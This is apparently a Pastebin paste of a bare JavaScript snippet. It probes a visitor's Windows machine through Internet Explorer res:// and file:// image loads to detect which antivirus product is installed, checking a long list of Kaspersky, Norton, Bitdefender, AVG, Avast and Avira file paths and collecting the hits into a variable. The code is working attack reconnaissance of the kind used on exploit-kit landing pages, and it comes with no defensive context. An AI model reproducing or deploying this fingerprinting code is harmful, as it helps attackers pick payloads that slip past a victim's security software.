Advertisement
physicaldrive0

Untitled

Dec 19th, 2013
1,165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.64 KB | None | 0 0
  1. if(ua.indexOf('msie 10') == -1){
  2. var DetectInstalledApplication = {
  3. start : function (scan) {
  4. for (var i = 0; i < this.avdata.length; i++) {
  5. var name = this.avdata[i].name;
  6. var path = this.avdata[i].path;
  7. var res = new Image();
  8. res.src = path;
  9. if (res.height != 30) scan.onfound(name);
  10. }
  11. }, avdata : [
  12. { name : "Kaspersky 5.0-WS, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Anti-Virus%205.0%20for%20Windows%20Workstations\\shellex.dll/#2/#102" },
  13. { name : "Kaspersky 6.0-WS, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Anti-Virus%206.0%20for%20Windows%20Workstations\\shellex.dll/#2/#102" },
  14. { name : "Kaspersky 6.0, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Anti-Virus%206.0\\shellex.dll/#2/#102" },
  15. { name : "Kaspersky 7.0, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Anti-Virus%207.0\\shellex.dll/#2/#102" },
  16. { name : "Kaspersky 2009, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Anti-Virus%202009\\mfc42.dll/#2/#26567" },
  17. { name : "Kaspersky 2010, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Anti-Virus%202010\\mfc42.dll/#2/#26567" },
  18. { name : "Kaspersky 2011, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Anti-Virus%202011\\avzkrnl.dll/#2/BBALL"},
  19. { name : "Kaspersky 2012, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Anti-Virus%202012\\x86\\mfc42.dll/#2/#26567" }, // checked
  20. { name : "Kaspersky 2013, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Anti-Virus%202013\\x86\\mfc42.dll/#2/#26567" }, // checked
  21. { name : "Kaspersky 2013 x64, ", path : "res://C:\\Program%20Files%20(x86)\\Kaspersky%20Lab\\Kaspersky%20Anti-Virus%202013\\x86\\mfc42.dll/#2/#26567" },
  22. { name : "Kaspersky 6.0, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Internet%20Security%206.0\\shellex.dll/#2/#102" },
  23. { name : "Kaspersky 7.0, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Internet%20Security%207.0\\shellex.dll/#2/#102" },
  24. { name : "Kaspersky 2009, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Internet%20Security%202009\\mfc42.dll/#2/#26567" },
  25. { name : "Kaspersky 2010, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Internet%20Security%202010\\mfc42.dll/#2/#26567" },
  26. { name : "Kaspersky 2011, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Internet%20Security%202011\\avzkrnl.dll/#2/BBALL"},
  27. { name : "Kaspersky 2012, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Internet%20Security%202012\\x86\\mfc42.dll/#2/#26567" }, // checked
  28. { name : "Kaspersky 2013, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20Internet%20Security%202013\\x86\\mfc42.dll/#2/#26567" }, // checked
  29. { name : "Kaspersky 2013 x64, ", path : "res://C:\\Program%20Files%20(x86)\\Kaspersky%20Lab\\Kaspersky%20Internet%20Security%202013\\x86\\mfc42.dll/#2/#26567" }, // checked
  30. { name : "Kaspersky PURE 1.0, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20PURE\\mfc42.dll/#2/#26567" },
  31. { name : "Kaspersky PURE 2.0, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20PURE%202.0\\x86\\mfc42.dll/#2/#26567" },
  32. { name : "Kaspersky PURE 3.0, ", path : "res://C:\\Program%20Files\\Kaspersky%20Lab\\Kaspersky%20PURE%203.0\\x86\\mfc42.dll/#2/#26567" },
  33. { name : "Kaspersky PURE 1.0 x64, ",path : "res://C:\\Program%20Files%20(x86)\\Kaspersky%20Lab\\Kaspersky%20PURE\\mfc42.dll/#2/#26567" },
  34. { name : "Kaspersky PURE 2.0 x64, ",path : "res://C:\\Program%20Files%20(x86)\\Kaspersky%20Lab\\Kaspersky%20PURE%202.0\\x86\\mfc42.dll/#2/#26567" },
  35. { name : "Kaspersky PURE 3.0 x64, ",path : "res://C:\\Program%20Files%20(x86)\\Kaspersky%20Lab\\Kaspersky%20PURE%203.0\\x86\\mfc42.dll/#2/#26567" },
  36. { name : "Norton 360 x64, ", path : "res://C:\\Program%20Files%20(x86)\\Norton%20360\\Engine\\20.4.0.40\\asoehook.dll/#2/#102" },
  37. { name : "Norton 360, ", path : "res://C:\\Program%20Files\\Norton%20360\\Engine\\20.4.0.40\\asoehook.dll/#2/#102" },
  38. { name : "Norton IS, ", path : "res://C:\\Program%20Files\\Norton%20Internet%20Security\\Engine\\16.1.0.33\\asOEHook.dll/#2/#113" },
  39. { name : "Norton 360, ", path : "res://C:\\Program%20Files\\Norton%20360\\TPRes.dll/#2/#127" },
  40. { name : "Norton IS 2010/AV 2010, ",path : "file://\\\\127.0.0.1\\C$\\Program Files\\Windows Sidebar\\Gadgets\\Norton.Gadget\\images\\frame.png" },
  41. { name : "Norton IS 2011/AV 2011, ",path : "file://\\\\127.0.0.1\\C$\\Program Files\\Windows Sidebar\\Gadgets\\Norton.Gadget\\images\\frame1.png" },
  42. { name : "Norton AntiVirus, ", path : "res://c:\\Program%20Files\\symantec_client_security\\symantec%20antivirus\\vpc32.exe/#2/#157" },
  43. { name : "Bitdefender, ", path : "res://C:\\Program Files\\bitdefender\\Bitdefender 2013\\bdoe.dll/#2/108" },
  44. { name : "AVG2013, ", path : "res://C:\\Program Files\\AVG\\AVG2013\\avgduix.dll/#2/30994" },
  45. { name : "Avast, ", path : "res://C:\\Program%20Files\\AVAST Software\\avast\\ashQuick.exe/#2/#30994" },
  46. { name : "Avira 9/10, ", path : "res://C:\\Program%20Files\\Avira\\AntiVir%20Desktop\\avconfigrc.dll/#2/#129" },
  47. { name : "Avira 8, ", path : "res://C:\\Program%20Files\\Avira\\AntiVir%20PersonalEdition%20Classic\\avconfig.dll/#2/#129" }]
  48. };
  49. DetectInstalledApplication.start({onfound : function (o) { avlist = avlist + o} });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement